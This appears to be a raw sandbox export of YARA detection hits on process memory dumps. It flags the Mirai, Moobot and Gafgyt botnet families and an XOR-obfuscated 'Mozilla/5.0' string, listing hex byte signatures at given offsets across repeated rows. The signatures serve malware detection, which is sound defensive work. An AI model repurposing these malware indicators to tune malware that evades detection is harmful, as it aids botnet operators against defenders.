7165.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7165.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7065.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7306.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6790.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6790.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6790.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7077.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7077.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7077.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6790.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7077.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7077.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7077.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6790.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6790.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7123.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7123.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7123.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7123.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7123.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7123.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6425.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7049.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7049.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7049.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7049.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7049.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7049.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6618.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6811.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6458.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6458.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6458.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6458.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6458.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 